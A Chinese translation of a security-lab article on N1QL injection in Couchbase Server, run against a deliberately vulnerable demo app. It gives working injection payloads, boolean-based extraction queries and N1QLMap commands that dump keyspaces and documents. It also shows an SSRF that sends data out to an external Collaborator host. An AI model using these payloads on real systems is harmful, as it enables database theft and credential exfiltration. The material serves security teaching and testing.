Couchbase Server 与 N1QL注入

1. 译文声明

本文是翻译文章,原作者 Krzysztof Pranczk
原文地址:https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database/
译文仅作参考,具体内容表达请见原文

2. 前言

目前大多数数据库都支持SQLNOSQL等查询语言,这些语言旨在为使用者提供与数据库的有效通信接口。但在某些情况下,外部攻击者或恶意用户可能会滥用这些接口功能来提取信息。常见的攻击方式有SQL注入或NoSQL注入。同时,一些小众查询语言的安全性没有得到过多的关注。本篇文章主要讲解N1QL注入,它可以理解为NoSQL数据库中的一种SQL注入,以及对应的利用工具N1QLMap

3. Couchbase Server 与 N1QL

Couchbase Server是一个开源的面向文档的NoSQL数据库,其将JSON对象存储为文档,也可根据需要将其分配为存储非JSON对象的文档。Couchbase公司还提供Couchbase Lite和一些移动应用。但是,这些产品有着与Couchbase Server若干相同的功能。Couchbase SDK包括使用文档ID进行增/删/改/查操作的基本功能,可以使用全文搜索功能或基于MapReduce构建的索引执行查询。除此之外,还可以使用N1QL语法发出更复杂的查询。N1QL(SQL for JSON)是一种类似于SQL的语言,能更好地处理和反馈JSON数据。

4. 一个简易的靶场

我们在gayhub上提供了一个漏洞靶场。该应用程序提供了一个简单的接口,允许用户查询世界各地的啤酒厂信息。基于Docker Compose来搭建环境:

git clone https://github.com/FSecureLABS/N1QLMap.git 
cd n1qlmap / n1ql-demo 
./quick_setup.sh

设置完成后,靶场环境为http://localhost:3000。例如以下curl命令返回一个JSON数据,包含位于纽约的啤酒厂:

$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York"
...
[
  {
    "beer-sample": {
      "address": [
        "Chelsea Piers, Pier 59"
      ],
      "city": "New York",
      "code": "10011",
      ....

4.1. 识别注入

现在我们有了一个应用程序,随后需要确定是否存在注入,我们假设唯一的可控GET参数“city”存在SQL注入漏洞。判断手法与普通SQL注入判断手法相似。比如输入撇号/引号来判断,由于这些特殊字符破坏了服务器端语法,因此应用程序将抛出异常。例如:

$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city='aaa"

...errors\": [{\"code\":3000,\"msg\":\"syntax error - at aaa\"}],\n\"status\": \"fatal\",\n\"...

如上所示,syntax error表明,可以通过操纵city参数的值来直接修改查询。截至目前一切正常。接下来我们需要确定查询语言和数据库技术。

4.2. 判断查询语句和数据库

对于可疑的查询注入点,下一步是判断查询语言。为了识别注入点在N1QL查询语法内,可以构造出特定的函数或查询来判断。举两个栗子:

  • 使用ENCODE_JSONMETA关键字或其它可在官方文档中找到对应的N1QL特定语法。
  • 利用系统键空间来进行查询,例如SELECT * FROM system:datastore,在N1QL逻辑层次结构中可以找到更多可用的系统键空间。

本次靶场中应用如下:

  • http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON({}) == "{}" OR '1'='1
  • http://localhost:3000/example-1/breweries?city=13373' OR ENCODE_JSON((SELECT * FROM system:keyspaces)) != "{}" OR '1'='1
  • http://localhost:3000/example-1/breweries?city=13373' UNION SELECT * FROM system:keyspaces WHERE '1'='1
  • http://localhost:3000/example-1/breweries?city=13373' UNION SELECT META((SELECT * FROM system:datastores)) WHERE '1'='1
    上述payload均未抛出异常,表明修改后的N1QL查询已成功查询。由于N1QL与常规SQL注入非常相似,也支持UNION SELECT关键字,因此可以构造普通SQL注入中的联合查询。比如要查询所有可用的键空间,可以构造以下payload:
$ curl -G  "http://localhost:3000/example-1/breweries" --data-urlencode "city=' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1"

[{
    "keyspaces": {
        "datastore_id": "http://127.0.0.1:8091",
        "id": "beer-sample",
        "name": "beer-sample",
        "namespace_id": "default"
    }
}, {
    "keyspaces": {
        "datastore_id": "http://127.0.0.1:8091",
        "id": "default-bucket",
        "name": "default-bucket",
        "namespace_id": "default"
    }
}, {
    "keyspaces": {
        "datastore_id": "http://127.0.0.1:8091",
        "id": "travel-sample",
        "name": "travel-sample",
        "namespace_id": "default"
    }
}]

为了更清楚一点,在后端构建的完整查询如下:

SELECT * FROM beer-sample WHERE city ='' AND '1'='0' UNION SELECT * FROM system:keyspaces WHERE '1'='1'

下面对该漏洞进行深入利用。

4.3. 基于布尔来提取数据

当我们确定了所使用的查询语言和数据库技术后,数据提取就像经典的SQLi一样简单。N1QL的优点之一是可以使用ENCODE_JSON函数,该函数将数据以JSON格式返回。例如,我们可以使用以下查询从数据库中提取键空间并以JSON格式返回:

$ curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=13373' UNION SELECT ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)) WHERE '1'='1"  

[{
    "$1": "[{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"beer-sample\",\"name\":\"beer-sample\",\"namespace_id\":\"default\"}},{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"default-bucket\",\"name\":\"default-bucket\",\"namespace_id\":\"default\"}},{\"keyspaces\":{\"datastore_id\":\"http://127.0.0.1:8091\",\"id\":\"travel-sample\",\"name\":\"travel-sample\",\"namespace_id\":\"default\"}}]"
}]

格式化一下:

[
  {
    "keyspaces": {
      "datastore_id": "http://127.0.0.1:8091",
      "id": "beer-sample",
      "name": "beer-sample",
      "namespace_id": "default"
    }
  },
  {
    "keyspaces": {
      "datastore_id": "http://127.0.0.1:8091",
      "id": "default-bucket",
      "name": "default-bucket",
      "namespace_id": "default"
    }
  },
  {
      .....
  }
]

这种JSON输出类型使基于布尔的数据检索变得容易,因为我们可以简单地检查输出的第一个字符为{时表示返回了有效的数据。通过利用这一点,我们可以创建一个仅当特定字符位于特定位置时才返回结果的查询,而在其他情况下则返回空的JSON数组。栗子如下:

curl -G "http://localhost:3000/example-1/breweries" --data-urlencode "city=New York' AND '{' = SUBSTR(ENCODE_JSON((SELECT * FROM system:keyspaces ORDER BY id)), 1, 1) AND '1'='1"

[{"beer-sample":{"address":["Chelsea Piers, Pier 59"],"city":"New York","code":"10011","country":"United States"...

在上面SUBSTR函数用于从目标数据中提取首字符,目标数据使用ENCODE_JSON函数转换为JSON对象。然后判断目标数据的首字符是否为{。匹配时,响应为True。基于此方法,我们还可以逐步判断数据中的每个字符从而获取到完整的目标数据。
通过使用“键空间” JSON文档,也可以使用类似的技术从键空间中进一步提取数据,并执行更高级的查询,以促进诸如SSRF的攻击,我们将在稍后对此进行介绍。
在上述PoC中子查询中使用了ORDER BY关键字,这是因为Couchbase对每个查询可能以随机排序的形式返回。因此通过ORDER BY关键字,我们可以降低这种不一致性导致的错误。
大致了解原理过后就可以造轮子了。

5. 造个轮子

基于N1QL语法的现有理解,开发了漏洞验证工具N1QLMap。当前,N1QLMap使用基于布尔的渗透技术,提供功能如下:

  • 列出可用的数据存储
  • 列出系统的键空间
  • 执行任意N1QL查询并获取结果
  • 执行SSRF并获得结果

与一些常见工具相同,可以通过使用*i*标记其位置来设置特定的注入点。下面是一个示例,标记了参数"city":

GET /example-1/breweries?city=*i* HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

可以通过--help参数来获取使用说明。N1QLMap可以通过--request参数像SQLMAP那样读取一个HTTP数据文件。如下命令用来枚举有效的数据存储区:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

[{"datastores":{"id":"http://127.0.0.1:8091","url":"http://127.0.0.1:8091"}}

--keyword参数指定的字符串存在时表示有效查询。现在获取到了数据存储区,接下来再提取相关的键空间:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

[{"name":"beer-sample"},{"name":"default-bucket"},{"name":"travel-sample"}]

提取系统键空间后我们可以进一步枚举它们所存储的数据信息:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

[{"O":{"T":{"callsign":"MILE-AIR","country":"United States","iata":"Q5","icao":"MLA","id":10,"name":"40-Mile Air","type":"airline"} .....

该工具还允许用户使用--query参数基于指定查询语法提取数据。但应注意META函数的id参数应与此结合使用以强制执行返回数据的顺序。
下面展示了使用任意查询从“travel-sample”键空间中提取单个文档的示例查询:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

目前该工具还处于完善期,可以加入我们的项目一起贡献。

5.1. SSRF利用

那么我们之前提到的SSRF呢?Couchbase数据库支持实现 “客户端URL” (CURL) 功能子集的 “cURL” 函数。通过N1QL,我们可以通过在ENCODE_JSON函数内嵌套子查询来完成SSRF。不过默认情况下“cURL”函数功能受到限制。不过在靶场中启用了该功能以作演示,该功能用于对指定URL发起HTTP请求。
以下N1QLMap命令通过--curl参数将目标数据请求发送到 Burp Collaborator:

$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl '*************j3mrt7xy3pre.burpcollaborator.net/endpoint' "

{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

收到的HTTP请求显示如下:

POST /endpoint HTTP/1.1 
Host: *************j3mrt7xy3pre.burpcollaborator.net 
User-Agent: Agent Smith 
Accept: */* 
X-N1QL-User-Agent: couchbase/n1ql/2.0.0-N1QL 
Content-Length: 4 
Content-Type: application/x-www-form-urlencoded 

...data...data...

如上面的代码片段所示,可将任意有效数据以OOB的方式发送到对应目标。“CURL”功能还允许我们指定其他选项,例如

  1. HTTP标头
  2. 不同的请求方法
  3. 忽略证书验证

在授权项目中,可以使用此SSRF绕过IP限制,或从云环境中可用的元数据端点中提取敏感数据和身份凭据。

6. 引用

N1QL Language Reference
Article “Couchbase and N1QL Security” on Couchbase blog
N1QL Querying System Information
N1QL CheatSheet (pdf)
N1QL Interactive Tutorial
Couchbase REST API Documentation

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖